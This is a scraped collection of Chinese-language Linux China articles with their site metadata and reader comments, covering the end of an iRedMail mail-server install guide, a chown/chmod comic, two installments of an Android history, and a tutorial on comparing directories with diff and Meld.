15、 在接下来的提示中，只要输入你的域名，并点击 Next 继续。相应地替换 `tecmint.lan` 值。
*iRedMail 邮件域*
16、 现在，为 `postmaster@yourdomain.tld` 管理员设置一个密码，并点击 Next 继续。
*iRedMail 邮件域管理员*
17、 接下来，从列表中选择要与邮件服务器集成的可选组件。我强烈建议你安装 Roundcube，以便为域帐户提供访问邮件的 Web 界面，尽管你也可以在不同的计算机上安装并配置 Roundcube，以便在高负载情况下释放邮件服务器资源。
对于受限访问互联网的本地域，特别是在我们使用域集成时，除了 Awstats 可以用于你进行邮件分析，其他组件不是非常有用。
*iRedMail 可选组件*
18、 在下一步中输入 `Y` 来应用配置并开始安装。
*iRedMail 配置更改*
19、 最后，所有的问题都输入 `Y`，接受 iRedMail 脚本自动配置你的防火墙以及 MySQL 配置文件。
*iRedMail 系统配置*
20、 安装完成后，安装器会提供一些敏感信息。比如 iRedAdmin 凭证、web 面板的 URL 地址以及安装过程中使用的所有参数的文件位置。
*iRedMail 安装总结*
仔细阅读上面的信息，使用下面的命令重启机器来使所有的邮件服务启用。
```
# init 6
```
21、 系统重启后，使用 root 权限的帐户登录或以 root 身份登录，并使用下面的命令列出所有的网络套接字以及你邮件服务器监听的相关程序。
在套接字列表中，你会看到邮件服务器几乎覆盖邮件服务正常运行所需的所有服务：SMTP/S、POP3/S、IMAP/S 和防病毒以及垃圾邮件保护。
```
# netstat -tulpn
```
*iRedMail 网络套接字*
22、 为了查看 iRedMail 已修改的所有配置文件的位置、iRedMail 安装过程中用于数据库管理的凭据、邮件管理帐户以及其他帐户，那么就显示 `iRedMail.tips` 这个文件。
该文件位于你最初解压安装包的目录中。请注意，你应该移动并保护此文件，因为它包含有关邮件服务器的敏感信息。
```
# less iRedMail-0.9.6/iRedMail.tips
```
23、 上面提到的包含邮件服务器详细信息的文件也将自动发送到 postmaster 这个邮件服务器管理员帐户中。
通过在浏览器中输入机器的 IP 地址，你可以通过 HTTPS 协议安全地访问 webmail。接受 iRedMail 自签名证书在浏览器中生成的错误，并使用在安装中为 [postmaster@your\_domain.tld](mailto:postmaster@your_domain.tld) 帐户设置的密码登录。阅读并将此电子邮件存储到一个安全的邮箱。
```
https://192.168.1.254
```
*iRedMail 登录帐户*
*iRedMail Web 邮件*
就是这样了！到目前为止，你已经配置了一台完整的自己运行的邮件服务器了，但尚未与 Samba4 AD 域控制器服务集成。
在下一部分中，我们将看到如何修改 iRedMail 服务（postfix，dovecot 和 roundcube 配置文件），以便查询域帐户、发送、接收和读取邮件。
---
作者简介：
我是一个电脑上瘾的家伙，开源和基于 linux 系统软件的粉丝，在 Linux 发行版桌面、服务器和 bash 脚本方面拥有大约 4 年的经验。
---
via: <http://www.tecmint.com/install-iredmail-on-centos-7-for-samba4-ad-integration/>
作者：[Matei Cezar](http://www.tecmint.com/author/cezarmatei/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：chown 与 chmod
|
Daniel Stori
|
http://turnoff.us/geek/chown-chmod/
|
chown ：Linux 中用来改变某个文件的属主的命令，如漫画中所示，将某个“资源”（门）的访问权限给予别人。
chmod ：Linux 中用来改变某个文件的访问模式的命令，如漫画中所示，chmod 777 会将“大门”敞开，谁都可以进出了。
|
/data/attachment/album/201706/03/231724btq9t8sxhty2p12f.png.thumb.jpg
|
/data/attachment/album/201706/03/231724btq9t8sxhty2p12f.png
| false | false | true |
wxy
| false |
[
"漫画"
] |
极客漫画
|
{
"viewnum": 7067,
"commentnum": 4,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "112.246.250.153",
"message": "这篇文章很有我当年的风范。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-04T13:19:56"
},
{
"postip": "125.71.65.88",
"message": "这形同于 Windows 中在 NTFS 系统设置 ACL 权限为: everyone:(oi)(ci)(f)",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-06-04T17:35:15"
},
{
"postip": "61.183.77.205",
"message": "这个图很生动啊",
"username": "来自湖北武汉的 Chrome 58.0|Windows 10 用户",
"date": "2017-06-05T08:47:01"
},
{
"postip": "113.74.11.105",
"message": "chown：把钥匙交给谁<br />\r\nchmod：直接把门打开、放人进去，钥匙所有者不变",
"username": "等待时候 [Chrome 81.0|Windows 7]",
"date": "2020-05-13T14:49:42"
}
] |
[] |
chown ：Linux 中用来改变某个文件的属主的命令，如漫画中所示，将某个“资源”（门）的访问权限给予别人。
chmod ：Linux 中用来改变某个文件的访问模式的命令，如漫画中所示，chmod 777 会将“大门”敞开，谁都可以进出了。
| 2017-06-04T08:13:00 | 2017-06-04T08:13:00 | 8,568 |
/article-8568-1.html
|
`chown` ：Linux 中用来改变某个文件的属主的命令，如漫画中所示，将某个“资源”（门）的访问权限给予别人。
`chmod` ：Linux 中用来改变某个文件的访问模式的命令，如漫画中所示，`chmod 777` 会将“大门”敞开，谁都可以进出了。
---
via: <http://turnoff.us/geek/chown-chmod/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者&点评：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
安卓编年史（17）：安卓 3.0 蜂巢—平板和设计复兴
|
Ron Amadeo
|
http://arstechnica.com/gadgets/2016/10/building-android-a-40000-word-history-of-googles-mobile-os/18/
|
蜂巢匆匆问世是为了成为一个生态系统建设者。如果应用没有平板版本，没人会想要一个安卓平板的，所以谷歌知道需要尽快将东西送到开发者手中。在这个安卓平板生态的早期阶段，应用还没有到齐。这是拥有 Xoom 的人们所面临的最大的问题。
|
/data/attachment/album/201706/04/115507prb4u07pt7e7s7d8.jpg.thumb.jpg
|
/data/attachment/album/201706/04/115507prb4u07pt7e7s7d8.jpg
| true | false | true |
alim0x
| false |
[
"Android",
"安卓编年史"
] |
观点
|
{
"viewnum": 3536,
"commentnum": 2,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "58.63.60.83",
"message": "Android 3.0还有人用？",
"username": "文剑一飞 [Chrome 58.0|Windows 10]",
"date": "2017-06-05T11:26:02"
},
{
"postip": "182.50.114.14",
"message": "当时只知道Moto的Xoom支持这个系统，其他的还真没听说",
"username": "来自北京的 Internet Explorer 11.0|Windows 10 用户",
"date": "2017-06-06T16:59:10"
}
] |
[
{
"raid": 8293,
"displayorder": 0
},
{
"raid": 8570,
"displayorder": 0
}
] |
蜂巢匆匆问世是为了成为一个生态系统建设者。如果应用没有平板版本，没人会想要一个安卓平板的，所以谷歌知道需要尽快将东西送到开发者手中。在这个安卓平板生态的早期阶段，应用还没有到齐。这是拥有 Xoom 的人们所面临的最大的问题。
| 2017-06-04T11:57:00 | 2017-06-04T11:57:00 | 8,569 |
/article-8569-1.html
|
*安卓市场的新设计试水“卡片式”界面，这将成为谷歌的主要风格。 [Ron Amadeo 供图]*
安卓推向市场已经有两年半时间了，安卓市场放出了它的第四版设计。这个新设计十分重要，因为它已经很接近谷歌的“卡片式”界面了。通过在小方块中显示应用或其他内容，谷歌可以使它的设计在不同尺寸屏幕下无缝过渡而不受影响。内容可以像一个相册应用里的照片一样显示——给布局渲染填充一个内容块列表，加上屏幕包装，就完成了。更大的屏幕一次可以看到更多的内容块，小点的屏幕一次看到的内容就少。内容用了不一样的方式显示，谷歌还在右边新增了一个“分类”板块，顶部还有个巨大的热门应用滚动显示。
虽然设计上为更容易配置界面准备好准备好了，但功能上还没有。最初发布的市场版本锁定为横屏模式，而且还是蜂巢独占的。
*应用详情页和“我的应用”界面。 [Ron Amadeo 供图]*
新的市场不仅出售应用，还加入了书籍和电影租借。谷歌从 2010 年开始出售图书；之前只通过网站出售。新的市场将谷歌所有的内容销售聚合到了一处，进一步向苹果 iTunes 所的主宰地位展开较量。虽然在“安卓市场”出售这些东西有点品牌混乱，因为大部分内容都不依赖于安卓才能使用。
*浏览器看起来非常像 Chrome，联系人使用了双面板界面。 [Ron Amadeo 供图]*
新浏览器界面顶部添加了标签页栏。尽管这个浏览器并不是 Chrome ，但它模仿了许多 Chrome 的设计和特性。除了这个探索性的顶部标签页界面，浏览器还加入了隐身标签，在浏览网页时不保存历史记录和自动补全记录。它还有个选项可以让你拥有一个 Chrome 风格的新标签页，页面上包含你最经常访问的网页略缩图。
新浏览器甚至还能和 Chrome 同步。在浏览器登录后，它会下载你的 Chrome 书签并且自动登录你的谷歌账户。收藏一个页面只需点击地址栏的星形标志即可，和谷歌地图一样，浏览器抛弃了缩放按钮，完全改用手势控制。
联系人应用最终从电话应用中移除，并且独立为一个应用。之前的联系人/拨号的混合式设计相对于人们使用现代智能手机的方式来说，过于以电话为中心了。联系人中存有电子邮件、IM、短信、地址、生日以及社交网络等信息，所以将它们捆绑在电话应用里的意义和将它们放进谷歌地图里差不多。抛开了电话通讯功能，联系人能够简化成没有标签页的联系人列表。蜂巢采用了双面板视图，在左侧显示完整的联系人列表，右侧是联系人详情。应用利用了 Fragments API，通过它应用可以在同一屏显示多个面板界面。
蜂巢版本的联系人应用是第一个拥有快速滚动功能的版本。当按住左侧滚动条的时候，你可以快速上下拖动，应用会显示列表当前位置的首字母预览。
*新 Youtube 应用看起来像是来自黑客帝国。 [Ron Amadeo 供图]*
谢天谢地 Youtube 终于抛弃了自安卓 2.3 以来的谷歌给予这个视频服务的“独特”设计，新界面设计与系统更加一体化。主界面是一个水平滚动的曲面墙，上面显示着最热门或者（登录之后）个人关注的视频。虽然谷歌从来没有将这个设计带到手机上，但它可以被认为是一个易于重新配置的卡片界面。操作栏在这里是个可配置的工具栏。没有登录时，操作栏由一个搜索栏填满。当你登录后，搜索缩小为一个按钮，“首页”，“浏览”和“你的频道”标签将会显示出来。
*蜂巢用一个蓝色框架的电脑界面来驱动主屏。电影工作室完全采用橙色电子风格主题。 [Ron Amadeo 供图]*
蜂巢新增的应用“电影工作室”，这不是一个不言自明的应用，而且没有任何的解释或说明。就我们所知，你可以导入视频，剪切它们，添加文本和场景过渡。编辑视频——电脑上你可以做的最耗时、困难，以及处理器密集型任务之一 —— 在平板上完成感觉有点野心过大了，谷歌在之后的版本里将其完全移除了。电影工作室里我们最喜欢的部分是它完全的电子风格主题。虽然系统的其它部分使用蓝色高亮，在这里是橙色的。（电影工作室是个邪恶的程序！）
*小部件！ [Ron Amadeo 供图]*
蜂巢带来了新的部件框架，允许部件滚动，Gmail、Email 以及日历部件都升级了以支持改功能。Youtube 和书籍使用了新的部件，内容卡片可以自动滚动切换。在小部件上轻轻向上或向下滑动可以切换卡片。我们不确定你的书籍中哪些书会被显示出来，但如果你想要的话它就在那儿。尽管所有的这些小部件在 10 英寸屏幕上运行良好，谷歌从未为手机重新设计它们，这让它们在安卓最流行的规格上几乎毫无用处。所有的小部件有个大块的标识标题栏，而且通常占据大半屏幕只显示很少的内容。
*安卓 3.1 中可滚动的最近应用以及可自定义大小的小部件。 [Ron Amadeo 供图]*
蜂巢后续的版本修复了 3.0 早期的一些问题。安卓 3.1 在蜂巢的第一个版本之后三个月放出，并带来了一些改进。小部件自定义大小是添加的最大特性之一。长按小部件之后，一个带有拖拽按钮的蓝色外框会显示出来，拖动按钮可以改变小部件尺寸。最近应用界面现在可以垂直滚动并且承载更多应用。这个版本唯一缺失的功能是滑动关闭应用。
在今天，一个 0.1 版本的升级是个主要更新，但是在蜂巢，那只是个小更新。除了一些界面调整，3.1 添加了对游戏手柄，键盘，鼠标以及其它 USB 和蓝牙输入设备的支持。它还提供了更多的开发者 API。
*安卓 3.2 的兼容性缩放和一个安卓平板上典型的展开视图应用。 [Ron Amadeo 供图]*
安卓 3.2 在 3.1 发布后两个月放出，添加了七到八英寸的小尺寸平板支持。3.2 终于启用了 SD 卡支持，Xoom 在生命最初的五个月就像是初生儿的柔弱的肢体一样。
蜂巢匆匆问世是为了成为一个生态系统建设者。如果应用没有平板版本，没人会想要一个安卓平板的，所以谷歌知道需要尽快将东西送到开发者手中。在这个安卓平板生态的早期阶段，应用还没有到齐。这是拥有 Xoom 的人们所面临的最大的问题。
3.2 添加了“兼容缩放”，给了用户一个新选项，可以将应用拉伸适应屏幕（如右侧图片显示的那样）或缩放成正常的应用布局来适应屏幕。这些选项都不是很理想，由于没有应用生态来支持平板，蜂巢设备销售状况惨淡。但谷歌的平板决策最终还是会得到回报。今天，安卓平板已经[取代 iOS 占据了最大的市场份额](http://techcrunch.com/2014/03/03/gartner-195m-tablets-sold-in-2013-android-grabs-top-spot-from-ipad-with-62-share/)。
### Google Music Beta —— 取代内容商店的云存储
*姜饼上的 Google Music Beta。 [Ron Amadeo 供图]*
尽管蜂巢改进了 Google Music 的界面，但是音乐应用的设计并没有从蜂巢直接进化到冰淇淋三明治。2011 年 5 月，谷歌发布了“[Google Music Beta](http://arstechnica.com/gadgets/2011/05/hands-on-grooving-on-the-go-with-impressive-google-music-beta/)”，和新的 Google Music 应用一同到来的在线音乐存储。
新 Google Music 为安卓 2.2 及以上版本设计，借鉴了 Cooliris 相册的设计语言，但也有改变之处，背景使用了模糊处理的图片。几乎所有东西都是透明的：弹出菜单，顶部标签页，还有底部的正在播放栏。可以下载单独的歌曲或整个播放列表到设备上离线播放，这让 Google Music 成为一个让音乐同步到你所有设备的好途径。除了移动应用外，Google Music 还有一个 Web 应用，让它可以在任何一台桌面电脑上使用。
谷歌和唱片公司关于内容的合约还没有谈妥，音乐商店还没准备好，所以它的权宜之计是允许用户存储音乐到线上并下载到设备上。如今谷歌除了音乐存储服务外，还有单曲购买和订阅模式。
---
[Ron Amadeo](http://arstechnica.com/author/ronamadeo) / Ron 是 Ars Technica 的评论编缉，专注于安卓系统和谷歌产品。他总是在追寻新鲜事物，还喜欢拆解事物看看它们到底是怎么运作的。[@RonAmadeo](https://twitter.com/RonAmadeo)
---
via: <http://arstechnica.com/gadgets/2016/10/building-android-a-40000-word-history-of-googles-mobile-os/18/>
译者：[alim0x](https://github.com/alim0x) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||
安卓编年史（18）：Android 4.0 冰淇淋三明治—摩登时代
|
Ron Amadeo
|
http://arstechnica.com/gadgets/2016/10/building-android-a-40000-word-history-of-googles-mobile-os/19/
|
安卓 4.0，冰淇淋三明治，在 2011 年 10 月发布，系统发布回到正轨，带来定期发布的手机和平板，并且安卓再次开源。这是自姜饼以来手机设备的第一个更新，意味着最主要的安卓用户群体近乎一年没有见到更新了。
|
/data/attachment/album/201706/04/122939rol970wq8nohyon2.jpg.thumb.jpg
|
/data/attachment/album/201706/04/122939rol970wq8nohyon2.jpg
| true | false | true |
alim0x
| false |
[
"安卓编年史",
"Android"
] |
观点
|
{
"viewnum": 3633,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[
{
"raid": 8569,
"displayorder": 0
},
{
"raid": 8574,
"displayorder": 0
}
] |
安卓 4.0，冰淇淋三明治，在 2011 年 10 月发布，系统发布回到正轨，带来定期发布的手机和平板，并且安卓再次开源。这是自姜饼以来手机设备的第一个更新，意味着最主要的安卓用户群体近乎一年没有见到更新了。
| 2017-06-05T10:28:00 | 2017-06-05T10:28:00 | 8,570 |
/article-8570-1.html
|
### Android 4.0 冰淇淋三明治 —— 摩登时代
*三星 Galaxy Nexus，安卓4.0的首发设备。*
安卓 4.0，冰淇淋三明治，在 2011 年 10 月发布，系统发布回到正轨，带来定期发布的手机和平板，并且安卓再次开源。这是自姜饼以来手机设备的第一个更新，意味着最主要的安卓用户群体近乎一年没有见到更新了。4.0 随处可见缩小版的蜂巢设计，还将虚拟按键，<ruby> 操作栏 <rp> （ </rp> <rt> Action Bar </rt> <rp> ） </rp></ruby>，全新的设计语言带到了手机上。
冰淇淋三明治在三星 Galaxy Nexus 上首次亮相，也是最早带有 720p 显示屏的安卓手机之一。随着分辨率的提高，Galaxy Nexus 使用了更大的 4.65 英寸显示屏——几乎比最初的 Nexus One 大了一整英寸。这被许多批评者认为“太大了”，但如今的安卓设备甚至更大。（5 英寸当今是“正常”的。）冰淇淋三明治比姜饼的性能要求更高，Galaxy Nexus 配备了一颗双核，1.2Ghz 德州仪器 OMAP 处理器和 1GB 的内存。
在美国，Galaxy Nexus 在 Verizon 首发并且支持 LTE。不像之前的 Nexus 设备，最流行的型号——Verizon 版——是在运营商的控制之下，谷歌的软件和更新在手机得到更新之前要经过 Verizon 的核准。这导致了更新的延迟以及 Verizon 不喜欢的应用被移除，即便是 Google Wallet 也不例外。
多亏了冰淇淋三明治的软件改进，谷歌终于达成了移除手机上按钮的目标。有了虚拟导航键，实体电容按钮就可以移除了，最终 Galaxy Nexus 仅有电源和音量是实体按键。
*安卓 4.0 将很多蜂巢的设计缩小了。 [Ron Amadeo 供图]*
电子质感的审美在蜂巢中显得有点多。于是在冰淇淋三明治中，谷歌开始减少科幻风的设计。科幻风的时钟字体从半透明折叠风格转变成纤细，优雅，看起来更加正常的字体。解锁环的水面波纹效果被去除了，蜂巢中的外星风格时钟小部件也被极简设计所取代。系统按钮也经过了重新设计，原先的蓝色轮廓，偶尔的厚边框变成了细的，设置带有白色轮廓。默认壁纸从蜂巢的蓝色太空船内部变成条纹状，破碎的彩虹，给默认布局增添了不少迟来的色彩。
蜂巢的系统栏在手机上一分为二。在顶上是传统的状态栏，底部是新的系统栏，放着三个系统按钮：后退、主屏幕、最近应用。一个固定的搜索栏放置在了主屏幕顶部。该栏以和底栏一样的方式固定在屏幕上，所以在五个主屏上，它总共占据了 20 个图标大小的位置。在蜂巢的锁屏上，内部的小圆圈可以向大圆圈外的任意位置滑动来解锁设备。在冰淇淋三明治，你得把小圆圈移动到解锁图标上。这个新准确度要求允许谷歌向锁屏添加新的选项：一个相机快捷方式。将小圆圈拖向相机图标会直接启动相机，跳过了主屏幕。
*一个手机系统意味着更多的应用，通知面板重新回到了全屏界面。 [Ron Amadeo 供图]*
应用抽屉还是标签页式的，但是蜂巢中的“我的应用”标签被“部件”标签页替代，这是个简单的 2×3 部件略缩图视图。像蜂巢里的那样，这个应用抽屉是分页的，需要水平滑动换页。（如今安卓仍在使用这个应用抽屉设计。）应用抽屉里新增的是 Google+ 应用，后来独立存在。还有一个“Messenger”快捷方式，是 Google+ 的私密信息服务。（不要混淆 “Messenger” 和已有的 “Messaging” 短信应用。）
因为我们现在回到了手机上，所以短信，新闻和天气，电话，以及语音拨号都回来了，以及 Cordy，一个平板的游戏，被移除了。尽管不是 Nexus 设备，我们的截图还是来自 Verizon 版的设备，可以从图上看到有像 “My Verizon Mobile” 和 “VZ Backup Assistant” 这样没用的应用。为了和冰淇淋三明治的去电子风格主题一致，日历和相机图标现在看起来更像是来自地球的东西而不是来自外星球。时钟，下载，电话，以及安卓市场同样得到了新图标，“联系人”获得了新图标，还有新名字 “People”。
通知面板进行了大改造，特别是和[之前姜饼中的设计](http://cdn.arstechnica.net/wp-content/uploads/2014/02/32.png)相比而言。面板头部有个日期，一个设置的快捷方式，以及“清除所有”按钮。虽然蜂巢的第一个版本就允许用户通过通知右边的“X”消除单个通知，但是冰淇淋三明治的实现更加优雅：只要从左向右滑动通知即可。蜂巢有着蓝色高亮，但是蓝色色调到处都是。冰淇淋三明治几乎把所有地方的蓝色统一成一个（如果你想知道确定的值，hex 码是 `#33B5E5`）。通知面板的背景是透明的，底部的“把手”变为一个简单的小蓝圈，带着不透明的黑色背景。
*安卓市场的主页背景变成了黑色。 [Ron Amadeo 供图]*
市场获得了又一个新设计。它终于再次支持纵向模式，并且添加了音乐到商店中，你可以从中购买音乐。新的市场拓展了从蜂巢中引入的卡片概念，它还是第一个同时使用在手机和平板上的版本。主页上的卡片通常不是链接到应用的，而是指向特别的促销页面，像是“编辑精选”或季度促销。
---
[Ron Amadeo](http://arstechnica.com/author/ronamadeo) / Ron是Ars Technica的评论编缉，专注于安卓系统和谷歌产品。他总是在追寻新鲜事物，还喜欢拆解事物看看它们到底是怎么运作的。[@RonAmadeo](https://twitter.com/RonAmadeo)
---
via: <http://arstechnica.com/gadgets/2016/10/building-android-a-40000-word-history-of-googles-mobile-os/19/>
译者：[alim0x](https://github.com/alim0x) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||
怎么使用 Diff 和 Meld 工具发现两个目录间的不同之处
|
Aaron Kili
|
http://www.tecmint.com/compare-find-difference-between-two-directories-in-linux/
|
本篇文章中，我们将会描述在 Linux 下怎样找到两个目录之间的不同。
|
/data/attachment/album/201706/04/175016zl5kamnkfda1bnk4.jpg.thumb.jpg
|
/data/attachment/album/201706/04/175016zl5kamnkfda1bnk4.jpg
| true | false | true |
hkurj
| false |
[
"diff",
"meld"
] |
技术
|
{
"viewnum": 9142,
"commentnum": 9,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "112.246.250.153",
"message": "diff是很有价值的开源工具，很遗憾在非Linux平台下它不是自由的。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-04T18:07:25"
},
{
"postip": "123.118.180.248",
"message": "是这样的？不允许用在 Windows 上之类的？我还真没注意到它的许可证~",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-04T18:17:07"
},
{
"postip": "112.246.250.153",
"message": "你运行一下你的mac上的diff看看，它是不自由的。这不是许可证的问题，这是自由与否的问题。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-04T18:20:11"
},
{
"postip": "123.118.180.248",
"message": "get 不到你的点。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-05T10:01:12"
},
{
"postip": "27.203.178.50",
"message": "cuthead@cuthead-To-be-filled-by-O-E-M:~$ echo abc >1.txt<br />\r\ncuthead@cuthead-To-be-filled-by-O-E-M:~$ echo bbc >2.txt<br />\r\ncuthead@cuthead-To-be-filled-by-O-E-M:~$ diff 1.txt 2.txt<br />\r\n1c1<br />\r\n< abc<br />\r\n---<br />\r\n> bbc<br />\r\ncuthead@cuthead-To-be-filled-by-O-E-M:~$ <br />\r\n仅在Linux下工作，在Mac下不工作，我其实也有Mac。但我比较喜欢Linux。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-05T10:26:57"
},
{
"postip": "117.139.208.8",
"message": "我给你说，diff有图形化工具diffuse",
"username": "来自四川成都的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-06-05T12:40:21"
},
{
"postip": "123.118.180.248",
"message": "我不知道你什么情况，但是我原样复制你的命令，在我的 mac 下执行，结果是和 linux 下一样的。bash 和 zsh 都工作。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-05T21:43:35"
},
{
"postip": "27.203.178.50",
"message": "cmp -l 1.txt 2.txt | gawk '{printf &quot;%08X %02X %02X\\n&quot;, $1, strtonum(0$2), strtonum(0$3)}' 我用windows 10年，mac 10年，我可以很确定的说mac没有diff",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-05T23:14:59"
},
{
"postip": "123.118.180.248",
"message": "没有 diff 有什么问题么，无论是 ports ，还是 brew，或者编译，都可以有啊。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-06T01:23:48"
}
] |
[] |
本篇文章中，我们将会描述在 Linux 下怎样找到两个目录之间的不同。
| 2017-06-04T17:50:22 | 2017-06-04T17:50:22 | 8,573 |
/article-8573-1.html
|
在之前的一篇文章里，我们回顾了 [Linux 下 9 个最好的文件比较工具](http://www.tecmint.com/best-linux-file-diff-tools-comparison/)，本篇文章中，我们将会描述在 Linux 下怎样找到两个目录之间的不同。
一般情况下，要在 Linux 下比较两个文件，我们会使用 `diff` （一个简单的源自 Unix 的命令行工具）来显示两个计算机文件的不同；它一行一行的去比较文件，而且很方便使用，在几乎全部的 Linux 发行版都预装了。
问题是在 Linux 下我们怎么才能比较两个目录？现在，我们想知道两个目录中哪些文件/子目录是共有的，哪些只存在一个于目录。
运行 diff 常规的语法如下：
```
$ diff [OPTION]… FILES
$ diff options dir1 dir2
```
默认情况下，输出是按文件/子文件夹的文件名的字母排序的，如下面截图所示，在命令中， `-q` 开关是告诉 `diif` 只有在文件有差异时报告。
```
$ diff -q directory-1/ directory-2/
```
*两个文件夹之间的差异*
再次运行 `diff` 并不能进入子文件夹，但是我们可以使用 `-r` 开关来读子文件夹，如下所示。
```
$ diff -qr directory-1/ directory-2/
```
### 使用 Meld 可视化比较和合并工具
`meld` 是一个很酷的图形化工具（一个 GNOME 桌面下的可视化的比较和合并工具），可供那些喜欢使用鼠标的人使用，可按如下来安装。
```
$ sudo apt install meld [Debian/Ubuntu systems]
$ sudo yum install meld [RHEL/CentOS systems]
$ sudo dnf install meld [Fedora 22+]
```
一旦你安装了它之后，在 **Ubuntu Dash** 或者 **Linux Mint** 菜单搜索 “**meld**” ，或者 Fedora 或 CentOS 桌面的 Activities Overview，然后启动它。
你可以看到如下的 Meld 界面，可以选择文件或者文件夹来比较，此外还有版本控制视图。点击目录比较并移动到下个界面。 
*Meld 比较工具*
选择你想要比较的文件夹，注意你可以勾选 “**3-way Comparison**” 选项，添加第三个文件夹。
*选择比较的文件夹*
选择好要比较的文件夹后，点击 “Compare”。
*文件夹不同列表*
在这篇文章中，我们描述了怎么在 Linux 下找到两个文件夹的不同。如果你知道其他的命令或者图形界面工具，不要忘记在下方评论分享你们的想法。
---
作者简介：
Aaron Kili 是一个 Linux 和 F.O.S.S 爱好者，即将成为 Linux 系统管理员，Web 开发者，目前是 TecMint 的内容创建者，他喜欢使用电脑工作，并且非常相信分享知识。
---
via: <http://www.tecmint.com/compare-find-difference-between-two-directories-in-linux/>
作者：[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者：[hkurj](https://github.com/hkurj) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
安卓编年史（19）：Android 4.0 冰淇淋三明治—摩登时代
|
Ron Amadeo
|
http://arstechnica.com/gadgets/2016/10/building-android-a-40000-word-history-of-googles-mobile-os/20/
|
安卓 4.0 可以看做是现代安卓时代的开始。大部分这时发布的谷歌应用只能在安卓 4.0 及以上版本运行。
|
/data/attachment/album/201706/04/203730ma7gphtq5sa78gp8.jpg.thumb.jpg
|
/data/attachment/album/201706/04/203730ma7gphtq5sa78gp8.jpg
| true | false | true |
alim0x
| false |
[
"Android",
"安卓编年史"
] |
观点
|
{
"viewnum": 3418,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[
{
"raid": 8570,
"displayorder": 0
},
{
"raid": 8589,
"displayorder": 0
}
] |
安卓 4.0 可以看做是现代安卓时代的开始。大部分这时发布的谷歌应用只能在安卓 4.0 及以上版本运行。
| 2017-06-07T10:35:00 | 2017-06-07T10:35:00 | 8,574 |
/article-8574-1.html
|
*和之前完全不同的市场设计。以上是分类，特色，热门应用以及应用详情页面。 [Ron Amadeo 供图]*
这些截图给了我们冰淇淋三明治中新版操作栏的第一印象。几乎所有的应用顶部都有一条栏，带有应用图标，当前界面标题，一些功能按钮，右边还有一个菜单按钮。这个右对齐的菜单按钮被称为“更多操作”，因为里面存放着无法放置到主操作栏的项目。不过更多操作菜单并不是固定不变的，它给了操作栏节省了更多的屏幕空间——比如在横屏模式或在平板上时，更多操作菜单的项目会像通常的按钮一样显示在操作栏上。
冰淇凌三明治中新增了“滑动标签页”设计，替换掉了谷歌之前推行的 2×3 方阵导航屏幕。一个标签页栏放置在了操作栏下方，位于中间的标签显示的是当前页面，左右侧的两个标签显示的是对应的当前页面的左右侧页面。向左右滑动可以切换标签页，或者你可以点击指定页面的标签跳转过去。
应用详情页面有个很赞的设计，在应用截图后，会根据你关于那个应用的历史动态地重新布局页面。如果你从来没有安装过该应用，应用描述会优先显示。如果你曾安装过这个应用，第一部分将会是评价栏，它会邀请你评价该应用或者提醒你上次你安装该应用时的评价是什么。之前使用过的应用页面第二部分是“新特性”，因为一个老用户最关心的应该是应用有什么变化。
*最近应用和浏览器和蜂巢中的类似，但是是小号的。 [Ron Amadeo 供图]*
最近应用的电子风格外观被移除了。略缩图周围的蓝色的轮廓线被去除了，同时去除的还有背景怪异的、不均匀的蓝色光晕。它现在看起来是个中立型的界面，在任何时候看起来都很舒适。
浏览器尽了最大的努力把标签页体验带到手机上来。多标签浏览受到了关注，操作栏上引入的一个标签页按钮会打开一个类似最近应用的界面，显示你打开的标签页，而不是浪费宝贵的屏幕空间引入一个标签条。从功能上来说，这个和之前的浏览器中的“窗口”视图没什么差别。浏览器最佳的改进是菜单中的“请求桌面版站点”选项，这让你可以从默认的移动站点视图切换到正常站点。浏览器展示了谷歌的操作栏设计的灵活性，尽管这里没有左上角的应用图标，功能上来说和其他的顶栏设计相似。
*Gmail 和 Google Talk —— 它们和蜂巢中的相似，但是更小！ [Ron Amadeo 供图]*
Gmail 和 Google Talk 看起来都像是之前蜂巢中的设计的缩小版，但是有些小调整让它们在小屏幕上表现更佳。Gmail 以双操作栏为特色——一个在屏幕顶部，一个在底部。顶部操作栏显示当前文件夹、账户，以及未读消息数目，点击顶栏可以打开一个导航菜单。底部操作栏有你期望出现在更多操作中的选项。使用双操作栏布局是为了在界面显示更多的按钮，但是在横屏模式下纵向空间有限，双操作栏就合并成一个顶部操作栏。
